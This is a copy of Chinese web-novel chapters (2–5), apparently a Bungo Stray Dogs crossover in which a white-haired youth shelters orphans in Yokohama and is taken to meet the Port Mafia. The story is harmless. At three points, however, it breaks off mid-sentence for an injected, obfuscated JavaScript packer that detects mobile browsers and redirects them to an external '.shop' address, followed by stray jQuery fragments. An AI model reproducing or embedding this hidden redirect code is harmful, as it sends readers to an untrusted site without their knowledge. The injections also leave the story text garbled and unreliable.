《不要在横滨随便救人》 2. 第 2 章 【2】 早春从废墟堆里站起来的时候,黑衣少年的背影已经消失在断墙之后,只有那片被抹去龙尾的空旷地面还残留着某种令人不安的寂静。 他站在原地,手掌按在腰间剑柄上,指节因为用力而微微发白。 他花了点时间辨认方向,但其实也没什么方向可言,因为整片街区都浸泡在硝烟和废墟里,远处偶尔传来零星的枪声,以及建筑物倒塌的闷响。 早春选了人声稍多的那条路走,脚步踩过碎玻璃和断裂的水泥块,发出细碎的咔嚓声。 横滨与联邦没什么不同的,这是早春的第一个想法,也是唯一的想法。 街道两侧的店铺大多紧闭着卷帘门,玻璃橱窗碎裂,里面空空荡荡,只有少数几家还亮着昏黄的灯,门口挤着神色惶惶的人。 早春走过时,有人抬头看他,目光扫过他白色的头发和沾满黑灰的脸,又迅速移开,没有停留,也没有探究。 那些眼神里更多的是疲惫和麻木,像蒙了一层灰。 他拐进一条窄巷,巷子深处堆着垃圾袋,腐败的气味混着血腥气。墙角缩着一个人,裹着破旧的毯子,身体微微发抖。 早春见此停下脚步,从口袋里摸出半管营养膏。他蹲下身,把营养膏放在那人脚边,然后起身继续往前走。 【我觉得你需要去看你身上的伤。】系统的声音响起来,突兀地插进这片寂静。 早春低头看了看自己。白色制服确实脏得不成样子,袖口和衣摆蹭满了黑灰,还有几处被勾破的痕迹。手臂和后背传来隐约的闷痛,应该是刚才被气浪掀飞时撞出来的淤伤。 他伸手按了按肋骨,没有尖锐的刺痛,只是呼吸时有点发紧。 “我只有联邦币。”早春说。 系统沉默了。 早春走出巷子,来到稍微宽阔一点的街道。这里的人多一些,三三两两聚在屋檐下,低声交谈着什么。 他看见路边排水沟旁躺着一枚五百日元的硬币,边缘沾着泥污。早春弯腰将其捡起来,硬币在他掌心泛着黯淡的光。 往前走几步,又有一张皱巴巴的一千日元纸币卡在裂缝里,他抽出来,捋平折好,塞进口袋。 早春并没有刻意去寻找什么,他继续往前走,视线扫过地面,那些钱币就恰好出现在他视野里,恰好在他经过时反射一点微弱的光。 他捡了大概三四次,口袋里多了几千日元。 然后早春看见路边一个老妇人,坐在倒扣的木箱上,怀里抱着个小女孩。女孩的脸埋在老人胸口,肩膀一抽一抽地抖。 早春走过去,把刚捡到的纸币和硬币都掏出来,放进老人脚边的铁皮罐里。 金属碰撞发出清脆的响声,老人抬起头,浑浊的眼睛看着他,嘴唇动了动,没发出声音。 早春转身离开,好在系统也没有再劝他去看伤。 他继续走,白色制服在灰扑扑的街道上很显眼,但没有人过来搭话,也没有人露出厌恶或恐惧的表情。 他们只是看他一眼,又低下头去忙自己的事。收拾残破的家当,哄哭泣的孩子,或者单纯地发呆。 早春帮一个男人从倒塌的货架下拖出半箱罐头,对方喘着气说谢谢,声音沙哑。 早春摇摇头,继续往前走。他脱下外套,披在一个蹲在墙角发抖的小女孩肩上,女孩的母亲愣了下,眼眶瞬间通红。 这些绝望是表面的,像一层浮冰。早春知道,只要有人轻轻敲一下,底下还是流动的、活着的、还能被温暖的东西。 他见过太多这样的浮冰,在联邦,在这里,都一样。 但早春还是忍不住想,为什么横滨绝望的人比联邦还要多? 【这里的人不会因为你的外貌而对你产生糟糕的想法。】系统说,机械音听不出情绪。 早春伸手抹了把脸,掌心蹭下一层黑灰。“我不在乎。” 他在乎的是别的东西。那个黑衣少年身上深海般的绝望,像烙印一样刻在他视网膜上,闭眼就能看见那双鸢色的眼睛,空洞的,映不出光。 早春甩了甩头,把这个画面压下去,因为现在有更具体的事情要做。 他拐过街角,看见五六个孩子挤在一处半塌的屋檐下,最大的那个看起来不过十岁,最小的可能只有四五岁,蜷缩在哥哥怀里,眼睛睁得很大,却没什么神采。 孩子们穿着不合身的旧衣服,脸上脏兮兮的,脚上的鞋子不是破了洞就是大了好几码。 早春停下脚步。 联邦已经二百一十六年没有新生儿诞生了,所以,新生命对于联邦、对于早春而言,是希望,是新生。 他朝孩子们走过去,最大的那个男孩立刻警觉地抬起头,把弟弟妹妹往后护了护。 早春在离他们几步远的地方蹲下,从口袋里摸出最后一点捡来的钱,几张零散的纸币。他递过去,男孩犹豫了几秒,伸手接住,攥紧。 “饿吗?”早春问。 男孩点点头,又摇摇头,最后小声说:“有一点。” 早春站起身,环顾四周。街对面有家小杂货店还开着门,店主是个胖胖的中年男人,正忙着用木板加固窗户。 早春走过去,用刚捡的钱买了几袋面包和几瓶水,店主看了他一眼,没多问,只是动作麻利地把东西装进塑料袋。 早春提着袋子回到屋檐下,把面包和水递给孩子们。最小的那个女孩怯生生地伸手拿了一小袋,撕开包装,小口小口地咬。 早春看着他们吃,脑子里飞快地转着。 这些孩子不能一直待在这里,屋檐随时可能彻底塌下来,而且街上并不安全。 他需要给他们找个容身之处。 这个念头刚冒出来,身后就传来脚步声,杂乱的,不止一个人。 早春回过头,看见三个男人朝他走过来,穿着普通的夹克和工装裤,手里没拿武器,但眼神不善。 领头的是个留着短胡茬的男人,嘴角叼着根没点燃的烟,视线在早春和孩子们之间扫了个来回。 “喂,你。”短胡茬男人开口,声音粗哑,“哪来的?” 早春站起身,没说话。 “在这一带晃悠半天了吧。”另一个瘦高个接过话,下巴朝早春手里的塑料袋抬了抬,“又是给吃的又是给钱,挺大方啊。” “这地盘是我们的。”短胡茬男人往前走了两步,停在早春面前不到一米的地方,上下打量他,“你在这光明正大撒钱,是挑衅?” 早春不明白。他只是在帮忙,为什么是挑衅? 他看了看三个男人,又看了看身后蜷缩起来的孩子们,然后往侧面挪了半步,挡在孩子们和男人之间。 这个动作让短胡茬男人嗤笑一声。 “听不懂人话?”瘦高个也靠过来,“赶紧滚,别在这碍眼。” 早春不想纠缠。他回头飞快地瞥了眼孩子们,最小的女孩正抓紧哥哥的袖子,眼睛盯着他。 早春朝他们微微摇头,然后转回来,面对着三个男人,脚后跟轻轻往地面一磕。 就在这时,远处传来一声尖锐的刹车声,紧接着是重物撞击的闷响。 三个男人同时扭头朝声音来源望去,街口拐角处,一辆黑色轿车不知怎么撞上了路灯杆,车头凹进去一大块,引擎盖冒出白烟。 司 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416261|200775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机骂骂咧咧地推门下车,后面又跟着停下两辆车,几个穿着黑西装的人匆匆跑过来。 短胡茬男人皱起眉,低声骂了句什么。 趁他们分神的这一两秒,早春转身,一把拉起最大的男孩,又朝其他孩子快速招手。孩子们反应很快,跟在他身后钻进旁边一条窄巷。 早春领着他们在巷子里七拐八绕,脚步轻而快,白色制服的衣摆扫过潮湿的墙壁。 他们一口气跑出两条街,早春才在另一处相对完好的建筑后门停下来,撑着膝盖喘气。 孩子们也累得够呛,最小的女孩直接坐在地上,脸蛋通红。 早春看了看四周,这里似乎是某家餐馆的后巷,堆着几个空垃圾桶,但还算干净,也没有人。 他让孩子们在这里等一下,自己走到巷口,探头往外望。那三个男人没有追上来,街上空荡荡的,只有那辆撞坏的车还冒着烟。 早春松了口气,退回巷子里。 最大的男孩看着他,小声问:“那些人……是坏人吗?” “不知道。”早春如实回答,“但他们不想让我们留在那里。” 男孩低下头,捏了捏弟弟的手。 早春靠在墙上,听着远处隐约传来的喧哗声。 这个城市如今并不太平,他刚刚断断续续听到些零碎的消息。 似乎有人在故意针对各个极道组织的据点,一些中小型组织已经被覆灭。 这些事离早春很远,他不在意谁打谁,只在意眼前这些孩子该去哪里。 他蹲下身,平视着最大的男孩:“你们有地方去吗?” 男孩摇摇头,眼神黯淡下去。“房子塌了,爸爸妈妈……”他没说完,但早春明白了。 早春点点头,没再多问。他站起来,看了看天色。太阳已经开始西斜,空气里的凉意渐渐渗出来。他得在天黑前找到能遮风挡雨的地方。 他让孩子们待在原地,自己走出巷子,沿着街道慢慢走,视线扫过两侧的建筑。 大多数房子都门窗紧闭,有些甚至半塌,显然不适合住人。 他走了大概十几分钟,在一条相对安静的街尾看见一栋两层的小楼,外墙有些剥落,但结构看起来还算完整,门口挂着的牌子歪了,写着“xx町内会”的字样。 早春试着推了推门,锁着。他绕到侧面,发现一扇窗户的玻璃碎了,窗框虚掩着。 他扒着窗台往里看,里面是个空房间,地上散落着几张旧报纸,没有家具,但还算干燥。 他翻窗进去,检查了一圈。 一楼有两个房间和一个卫生间,二楼也是空的,楼梯有点晃,但勉强能用。窗户除了刚才那扇破的,其他都完好,能关上。没有电,但水龙头还能拧出一点细细的水流。 早春回到巷子里,带着孩子们悄悄摸进这栋小楼。他让最大的男孩帮忙把一楼房间简单收拾一下,把旧报纸铺在地上当垫子,又去隔壁空房子里“借”了几条旧毯子。 那栋房子的门锁恰好坏了,他推门进去时,主人显然早已逃离。 天黑下来的时候,孩子们挤在铺了报纸和毯子的角落里,分吃了剩下的面包。 早春坐在窗边,透过玻璃的裂缝看着外面逐渐暗下去的街道。远处偶尔闪过车灯的光,更远的地方传来零星的爆炸声,但比白天安静了许多。 最小的女孩蜷在哥哥怀里睡着了,呼吸很轻。早春看着他们,心里那点焦躁慢慢平息下去。 窗外,横滨的夜空中没有星星,只有浓烟和雾气混成的灰蒙蒙一片。 早春靠在墙边,手搭在剑柄上,听着孩子们平稳的呼吸声,慢慢合上眼睛。 3. 第 3 章 【3】 天刚蒙蒙亮的时候,早春睁开眼睛,窗外透进来的光还是灰蓝色的。 他靠着墙坐了一夜,后背有些僵硬,膝盖抵着剑鞘,硌出一片浅浅的红痕。 孩子们还在睡,最小的女孩翻了个身,嘴里嘟囔着什么,又安静下来。 早春轻手轻脚站起来,他走到窗边,透过玻璃裂缝往外看,街上空荡荡的,只有风卷起几张废纸,贴着地面打转。 远处有鸟叫,很微弱的声音,混在清晨的凉意里毫不起眼。 他检查了一下水龙头,水流还是细细的,但比昨晚稳定了些。 早春用手接了点水,抹了把脸,冰冷的水珠顺着下巴滴下来。然后他转身,从墙角拿起一个空塑料袋,折好塞进口袋,推开门走了出去。 清晨的街道很安静,偶尔有早起的人匆匆走过,裹紧外套,低着头。 早春沿着昨天走过的路往回走,白色制服在晨光里显得更干净了些,虽然袖口和衣摆的污渍还在。 他走过一个十字路口时,看见路边排水沟旁躺着几张纸币,被露水打湿了边缘,黏在水泥地上。早春弯腰捡起来,是三张一千日元,折痕很深。他仔细捋平,对折放进内袋。 往前走两个街区,有家面包店刚开门,老板是个中年女人,正把烤好的面包摆进橱窗。 早春站在店外看了一会儿,女人抬头看见他,愣了一下,然后朝他招招手。 “进来吧。”她哑声说:“刚出炉的,还热着。” 早春走进去,店里弥漫着黄油和面粉的香气。女人从架子上拿了几个红豆面包,用纸袋装好,递给他。 “昨天你帮了我邻居的孩子,对吧?那个被压在货架下面的。”她说,“我看见了。” 早春接过纸袋,面包还是温热的,隔着纸袋能感觉到热度。他想了想,从口袋里掏出一张一千日元,放在柜台上。 女人摆摆手想要拒绝,但早春已经转身走出店门。他继续往前走,纸袋揣在怀里,热气慢慢渗出来。 路过一个公园时,早春看见长椅上坐着个老人,裹着厚厚的围巾,盯着手里的一张照片发呆。 见此,早春走了过去,默默从纸袋里拿出一个面包,放在老人手边,然后继续走。 老人没抬头,也没说话,只是手指动了动,碰了碰面包的纸袋。 早春拐进一条没走过的巷子,想抄近路回小楼。 只可惜巷子很窄,两侧是老旧公寓的后墙,墙上爬着枯萎的藤蔓,地上堆着垃圾袋和碎砖块。他走到一半时,听见前面有细碎的声响,像什么东西被拖动。 他放慢脚步,贴着墙往前走。转过一个弯,看见三个小孩蹲在地上,围着一个破铁桶,桶里燃着微弱的火,他们正把捡来的纸板和木片往里面扔。 最大的那个看起来七八岁,穿着宽大的外套,袖子卷了好几圈;另外两个更小,五六岁的样子,脸上抹着黑灰。 小孩们看见早春,动作立刻停下来,警惕地盯着他。 早春没靠近,只是从纸袋里拿出一块面包,掰成三份,放在离他们几步远的地上,然后转身往回走。 他没回头,但能感觉到那三个小孩的目光一直跟着他,直到他走出巷子。 回到小楼时,孩子们已经醒了,最大的男孩正在用抹布擦地板,其他几个挤在窗户边往外看。 早春把面包递给他们,男孩接过,小声说了句谢谢。早春摇摇头,走到窗边,看着外面的街道。 “今天不能出去。”他直言道:“外面不安全。” 孩子们互相看了看,没人敢反驳早春的话。最小的女孩走过来,拉了拉早春的衣角,仰头看他。 早春低头去看,只见女孩张开手,她的掌心躺着几颗彩色的玻璃珠,大概是昨天在废墟里捡的。 早春接过玻璃珠,放在窗台上,阳光照上去,折射出细碎的光。 下午的时候,早春又出去了。这次他往更远的地方走,穿过几条主干道,靠近港口的方向。 空气里的硝烟味越来越浓,远处能看见被炸毁的仓库,焦黑的框架歪斜着指向天空。 他路过一片废墟时,听见里面传来哭声,像小猫叫,不过早春没听过小猫叫。 早春循着声音走过去,在倒塌的混凝土板缝隙里,看见一个小男孩蜷缩着,膝盖磕破了,渗着血。 早春搬开几块碎砖,把男孩抱出来,孩子吓得发抖,但没挣扎。 早春仔细检查了一下伤口,伤口不算深,只是简单擦伤。他从口袋里掏出一块干净的手帕按在伤口上,然后用相对干净的布条缠了两圈。 男孩看着他,眼泪还在流,但哭声停了。 “家呢?”早春问。 男孩摇头,手指紧紧抓着早春的袖子。 早春没再多问,抱着男孩往回走。走到半路,遇见一个穿着破旧和服的老太太,颤巍巍地提着水桶。老太太看见他们,停下脚步,从口袋里摸出两个橘子,塞给男孩。 早春朝她点点头,继续走。 回到小楼时,屋里多了三个新面孔。原来是早春上午在巷子里遇见的那三个小孩,他们不知怎么找过来的,正缩在墙角,怯生生地看着其他人。 最大的男孩正在给他们分面包,动作很小心。 早春把怀里的男孩放下,最小的女孩立刻跑过来,递给他半杯水。 早春接过,喝了一口,水有点涩,但能解渴。 他数了数屋里的人,加上新来的,一共九个孩子。 房间显得更挤了,但孩子们似乎不介意,他们挨着坐,低声说着什么,偶尔传来压抑的笑声。 早春走到窗边,看着外面。太阳已经开始西斜,把建筑物的影子拉得很长。 他又想起那个黑衣少年了,对方那双鸢色的眼睛里有着深海般的绝望。 早春想,他应该去找对方,应该去帮助那些被绝望缠绕的人,而不是一直留在这里。 但……孩子们是希望啊,新生命是希望啊,他真的能离开吗? 早春转过身,看着屋里这些小小的身影。 他们身上也有绝望,只不过用一块面包、一杯水就能解开。 早春知道,只要有人轻轻拉一把,他们就能活下来,就能长大。 【你是早春,所以你可以做任何事。】系统的声音像风吹过耳畔那样轻巧。 早春没回答,他从墙角翻出几本旧杂志,封皮已经破损,但里面的图画还算完整。他把杂志分给孩子们,又找出几支断了的铅笔,削尖了递过去。 孩子们接过,凑在一起翻看,手指小心翼翼地摸着纸页。 最小的女孩画了个歪歪扭扭的太阳,然后抬头看早春,眼睛亮晶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416262|200775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晶的。 早春摸了摸她的头,他说:“活下去吧。” 女孩眨眨眼,又低下头,继续画。 傍晚时分,早春再次出门。 这次他往城市另一头走,穿过几条商业街,店铺大多关着门,橱窗里空空荡荡。 早春走过一个十字路口时,听见前方传来嘈杂的声响,夹杂着叫骂和金属碰撞的声音。 听见声音,早春不由得加快脚步,转过街角,看见两拨人在对峙。 一边穿着黑色的西装,大概七八个人;另一边穿着杂色的夹克和工装裤,人数差不多。中间的地上躺着几个人,蜷缩着呻吟。 两拨人手里都拿着武器,铁棍、砍刀,还有两个人举着手枪。 早春停住脚步,贴着墙根站定。 对峙持续了几秒,然后有人骂了句什么,枪响了。不是朝着对方开的,而是朝天开了一枪,大概是警告。 但枪声像导火索,两边的人同时冲了上去,混战爆发。 铁棍砸在肉上的闷响,刀刃划过空气的尖啸,叫骂声、惨叫声混成一团。 早春看见一个穿西装的男人被铁棍砸中肩膀,踉跄后退,撞在墙上;另一个穿夹克的人被砍刀划破手臂,血喷出来,溅在地上。 混战中,一个穿着灰色外套的男人从旁边的店铺里冲出来,大概是想穿过街道逃走,但他跑得太急,没看清脚下的碎玻璃,脚下一滑,整个人往前扑倒,正好摔在两拨人中间的空地上。 男人爬起来,想继续跑,但腿好像扭了,动作一瘸一拐。 就在这时,一个穿黑西装的人被对手踹飞,直直朝男人撞过来。男人瞪大眼睛,僵在原地。 早春见此往前冲了两步,脚下一蹬,身体前倾,手掌按在地面,借着冲力滑过去。 就在穿西装的人即将撞上男人的前一秒,早春伸出手,抓住男人的衣领,往侧面一拽。 两人一起滚到路边,撞在消防栓上。早春先站起来,把男人拉起来,推着他往旁边的巷子跑。 由于男人腿脚不便,于是早春架着他,半拖半拽地冲进巷子深处。 身后的打斗声还在继续,但越来越远。早春把男人放在一堆纸箱后面,自己转身,堵在巷口。 几秒后,一个穿夹克的人追过来,手里拿着砍刀,看见早春,愣了一下。 早春没什么表情,就那样看着他。那人犹豫了两秒,骂了句脏话,转身跑了。 早春回到男人身边。男人瘫坐在地上,喘着粗气,额头冒汗,一只手捂着脚踝。 早春蹲下身,检查了一下,脚踝肿了,但骨头应该没断。 “谢、谢谢你……”男人声音发抖。 早春摇摇头,站起来。他看了眼巷口,打斗声已经停了,只剩下零星的呻吟和脚步声。他转回头,看着男人。 “愿希望与您常伴。”他轻声道。 男人愣了愣,嘴唇动了动,想说什么,但早春已经转身,走出巷子,融进傍晚灰蓝色的光线里。 街道上一片狼藉,地上散落着武器和血迹,还有几个人躺着不动。早春跨过一滩血,继续往前走,白色的裤脚扫过地面,沾上一点暗红。 他走得很稳,脚步不快不慢。远处传来救护车的鸣笛声,尖锐地划破暮色。 早春抬起头,看着天空,灰蒙蒙的,没有星星。 4. 第 4 章 【4】 镭钵街的清晨总带着一股潮湿的霉味,混着垃圾堆发酵的酸气,从每条巷子的缝隙里渗出来。 几个七八岁的孩子蹲在废铁皮搭的棚子后面,脑袋凑在一起,声音压得很低。 “听说了吗?”一个缺了门牙的男孩说,眼睛瞟着四周,“白头发白眼睛那个,腰上挂着把白剑。” 旁边扎着两条细辫子的女孩点点头,手指在地上画圈:“我姐说,她朋友的朋友试过,真的给了面包。” “怎么试?”另一个胖墩墩的男孩问。 “就跟着他。”缺牙男孩压低声音,“一直跟着,别出声,也别靠太近。跟两条街,他就会停下来看你,那时候你就……就哭。” “哭?” “对,哭得惨一点。”缺牙男孩认真地说,“然后他就会给你吃的,有时候是面包,有时候是饭团。要是你再说没地方住,他可能会带你走。” 女孩停下画圈的手指:“我邻居家的小弟就被带走了,现在有地方睡觉,还不用饿肚子。” 几个孩子沉默了一会儿,互相看了看。 胖墩墩的男孩咽了口唾沫:“那……要是被带走了,还能出来吗?” “不知道。”缺牙男孩摇头,“但总比在这里强。” 这样的对话在镭钵街的各个角落悄悄发生,像霉菌一样蔓延。 没人知道是谁第一个发现这个规律的,也许是某个饿极了的孩子偶然跟在早春身后,也许是某个绝望的母亲推了孩子一把。 总之,不过半个月时间,“白发白眼的少年”成了这片街区某种心照不宣的规则:如果你无家可归,如果你还小,去找他。他不会拒绝。 他们说,这一招百试百灵。 早春第一次听到这个说法时,正蹲在一条窄巷的出口,给一个膝盖擦伤的小女孩贴创可贴。 女孩大概六七岁,头发乱糟糟地结成一团,身上穿着不合身的男式衬衫,袖子卷了好几道。 她盯着早春贴创可贴的手指,小声说:“他们说你是白幽灵。” 早春没回答,他从口袋里掏出一块用油纸包着的饼干,放在女孩手心。女孩攥紧饼干,又看了他一眼,转身跑进巷子深处,脚步声啪嗒啪嗒,很快消失。 早春站起来,拍了拍裤腿上的灰。白色制服已经洗过几次,但布料本身泛黄,污渍渗进纤维里,再怎么搓也还是留着浅浅的印子。 他转身往回走,穿过两条堆满垃圾的小路,绕过一堵被烧得焦黑的墙,来到那栋两层小楼前。 门没锁,只是虚掩着,他推门进去,屋里传来窸窸窣窣的声响。 如今那栋两层小楼里塞了十七个孩子。 一楼两个房间打通了,地板上铺着更多旧报纸和毯子,墙角堆着几个空纸箱,里面塞着捡来的瓶盖、玻璃珠、断了腿的玩具熊。 孩子们挤在一起睡,像一窝挨挨挤挤的幼兽。 早春平时就睡在楼梯拐角,背靠着墙,剑横在膝上,这样有人上楼他就能立刻察觉。 孩子们不知道他的名字,也不敢问。 最大的那个男孩叫他“哥”,其他孩子有的跟着叫,有的叫“老大”,声音怯生生的。 早春从不纠正,也不询问他们的过去,更不关心他们叫什么。 此刻,孩子们看见他,动作默契地停了下来,目光齐刷刷投过来。 早春从怀里掏出几个饭团,用保鲜膜包着,还是温的。他放在地上,最大的男孩走过来,拿起一个,掰成两半,分给旁边的孩子。 孩子们安静地吃着,没人争抢,也没人抱怨分量少。 早春走到窗边,看着外面灰蒙蒙的天。 【你养得太多了。】系统的心情听不清不太好,【这个地方不适合孩子长大。】 早春没回头,只是伸手擦了擦玻璃上的水汽。 “我没养过孩子。”他说。 【看得出来。】系统停顿了一下,【但你可以学。至少,别把他们关在这里。】 早春转过身,看着屋里这些小小的身影。 他们身上已经没有绝望的味道了,在过去的半个月里,他们身上的绝望被食物、水和一个能躺下的角落慢慢融化。现在他们只是孩子,会饿,会困,会小声说话的孩子。 “外出学习?”早春问。 【你可以这么理解。】系统的声音里似乎有了一点极细微的波动,【让他们帮忙找食物,或者帮别人一点小忙。你可以在旁边看着。】 早春想了想,走到屋子中央,蹲下身。孩子们围过来,最小的那个也醒了,揉着眼睛爬过来。 早春看着他们,一个个看过去,白色的眼睛扫过每一张脸。 “想出去吗?”他问,“帮忙找东西,或者帮别人。我会跟着。” 孩子们互相看了看,最大的男孩先点头,接着是第二个,第三个。只有那个四岁的孩子缩了缩,抓住旁边女孩的袖子。早春伸手摸了摸他的头,掌心很轻。 “你留下。”他说。 第二天早上,十三个孩子跟着早春出门,剩下的四个留在屋里,由最大的女孩看着。 那个女孩八岁,腿有点跛,但很细心。 早春对她很放心,领着孩子们穿过镭钵街的巷道,脚步不快,孩子们跟在他身后,像一串小小的影子。 他们帮一个老妇人把散落在地上的木柴堆回墙角,老妇人从屋里拿出几个橘子,分给孩子们。 他们在一处半塌的棚屋下发现了一箱快过期的罐头,早春检查了一下,没膨胀也没漏气,可以吃。 孩子们抱着罐头,眼睛亮晶晶的。 早春跟在后面,视线扫过每一个角落。 他看见一个男人躲在集装箱后面偷偷注射什么,看见两个少年为了一块面包扭打在一起,看见一个女人抱着婴儿坐在废墟上发呆。 他静静地看着,直到孩子们完成任务,聚拢回来。 第三天,第四天,每天都差不多。 孩子们渐渐习惯了外出,会主动去捡可用的东西,会帮更小的孩子提水,会在早春的示意下避开危险区域。 孩子们脸上的怯意渐渐少了,走路时腰板挺直了些,眼神里多了点活气。 早春跟在他们身后,距离保持在十步左右,手一直搭在剑柄上。 第五天下午,他们经过一片集装箱堆放区时,一个瘦小的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416263|200775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男孩从拐角冲出来,直直撞在早春腿上。 男孩大概五六岁,脸上脏得看不清五官,衣服破了好几个洞。他抱住早春的腿,仰起头,眼泪刷地流下来。 “哥……我饿……”男孩哭着说,声音嘶哑难听。 早春低头看着他,身后的孩子们停下脚步,警惕地看着这个突然出现的人。 男孩抱得更紧了,鼻涕眼泪蹭在早春的裤腿上。“带我走吧,求你了……” 早春伸手,从口袋里掏出一块饼干,递给男孩。男孩接过,但没松手,还是抱着他的腿。 早春等了几秒,然后弯腰,轻轻掰开男孩的手指,把他抱起来,放在一旁的地上。 “跟着吧。”他说。 男孩愣了愣,然后爬起来,抹了把脸,跟在了队伍最后。 就在这时,脚步声从四周响起,密集的,整齐的,靴子踩在碎石上的声音。 早春抬起头,看见十几个穿着黑西装的男人从集装箱后面走出来,围成一个半圆,堵住了前后的路。 孩子们惊慌地往早春身边靠,最大的男孩往前站了半步,挡在更小的孩子前面。 早春将孩子们保护在身后,白色的眼睛一眨不眨地看着这群黑西装。 一个中年男人从人群后面走出来,步伐不紧不慢。 他大概四十五岁左右,头发梳得整齐,两鬓有些灰白,穿着合身的黑西装,外套敞着,露出里面的马甲和领带。他走到早春面前三步远的地方停下,微微欠身。 “你好,白幽灵。”他的声音很温和,“我是ProtMafia的广津柳浪。我们首领想要见您。” 早春看着他,没说话。他怀里的那个男孩又开始发抖,手指紧紧抓着早春的袖子。 广津柳浪的视线落在男孩身上,笑了笑。“当然,这个孩子可以离开。”他侧过头,对身后的人做了个手势,“让开一条路。” 黑西装们往两边退开,露出一条狭窄的通道。早春低头看了看男孩,把他放下,轻轻推了推他的背。 男孩愣愣地站了几秒,然后转身,跌跌撞撞地跑进通道,消失在集装箱的阴影里。 早春转回头,看着广津柳浪。“为什么?” “您最近在镭钵街的活动,引起了一些注意。”广津柳浪说,语气依旧礼貌,“我们首领对您的能力很感兴趣。当然,这只是一次友好的邀请。” 早春看了看四周,黑西装们站得很稳,没有攻击的意图,但也没有让开的意思。他身后的孩子们缩成一团,最小的那个开始小声抽泣。 早春沉默了几秒,然后说:“让他们回去。” 广津柳浪点点头。“可以。我会派人护送这些孩子回您的住处。” 早春转过身,蹲下来平视着最大的男孩。“带他们回去。”他说,“锁好门。” 男孩咬着嘴唇,点点头,眼睛里有什么东西在闪。早春拍了拍他的肩膀,站起来,重新面对广津柳浪。 “走吧。”他说。 广津柳浪侧身,做了个“请”的手势。 早春迈步往前走,黑西装们跟在他身后,脚步声在集装箱之间回荡,闷闷的,像远处传来的雷声。 5. 第 5 章 【5】 黑西装的车子穿过横滨的街道,车窗外的景物从低矮破旧的建筑逐渐变成整齐的楼房,最后停在一栋灰色的大厦前。 广津柳浪先下车,绕到另一侧为早春拉开门。早春从车里钻出来,抬头看了看这栋楼。 楼不算特别高,大概二十层左右,外墙有几处明显的修补痕迹,窗户玻璃也有些是新换的,颜色和旧的不太一样。 楼门口站着两个同样穿黑西装的人,在看见广津柳浪时便微微躬身,他们的目光在早春身上停留了一瞬,又迅速移开。 早春跟着广津柳浪走进大厅,大理石地面光可鉴人,脚步声有轻微的回响。 电梯门打开时里面空无一人,广津柳浪按了十五楼,电梯平稳上升。 早春想不明白ProtMafia首领想要见自己的目的。他低头看了看自己,白色制服洗得发灰,袖口磨起了毛边,裤腿上还沾着镭钵街的泥灰。 腰间那把剑倒是很干净,剑鞘在电梯顶灯的照射下泛着柔和的哑光。 ——也只有剑是干净的。 电梯门打开,外面是一条铺着深色地毯的走廊,两侧墙上挂着几幅油画,画框是金色的,画的内容看不明白,只是大片的色块。 广津柳浪领着早春走到走廊尽头的一扇双开门前,他敲了敲门,里面传来一个温和的声音:“请进。” 门的里面是个会客室,房间很大,靠墙摆着一圈皮质沙发,中间铺着地毯,图案复杂。 墙上有一整面落地窗,窗外是横滨的城市景色,远处能看见港口和起重机的轮廓。 房间里已经有一个人了,坐在靠窗的单人沙发上,穿着黑色外套,脖颈和手腕上缠着绷带,黑色短发有些凌乱,正低头翻着一本硬壳书。 听见开门声,那人抬起头。鸢色的眼睛扫过来,目光在早春脸上停留了两秒,然后垂下眼眸继续看书。 早春的脚步却停住了。 深海般的绝望从那人身上漫出来,粘稠的,冰冷的,像黑色的潮水无声无息地涨满整个房间。 早春惊觉自己的呼吸变轻了,胸口仿佛被什么东西压住的闷感。 他盯着那个黑发少年,手指无意识地蜷缩起来。 刻在早春灵魂深处的欲望开始发烫,早春忍不住开始想更多。 靠近他、帮助他,敲碎那层深黑色的冰,哪怕只是敲开一条缝隙。 在联邦,绝望是最可恶的病症,会传染,会让人一个接一个地死去,会让整个社会像朽木一样从内部腐烂。 早春后来的改造就是为了对抗这个,他的眼睛能看见绝望的颜色,他的本能驱使他去靠近那些被绝望缠绕的人。 而眼前这个少年身上的绝望,浓得几乎要从毛孔里渗出来。 早春下意识就往前迈了一步。只可惜,声音比动作快。 广津柳浪说:“太宰君,这位是首领邀请的客人。” 被称作太宰的少年合上书,随手放在沙发扶手上。他站起来,动作有些懒散,黑色外套的下摆晃了晃。 “我知道。”他说话时,声音会不自觉带着点漫不经心的倦意,“森先生说要见的人,就是你啊。” 他走到早春面前,距离不到一米。早春能闻到他身上淡淡的气味,消毒水混着一点铁锈的味道。 太宰治歪了歪头,打量着早春,从白色的头发到白色的眼睛,再到腰间的剑。 “白幽灵。”他说完,嘴角弯起一个很浅的弧度,“名字挺适合你的。” 早春张了张嘴,想说点什么,但喉咙发紧。他现在想的事情格外多,也格外失礼。 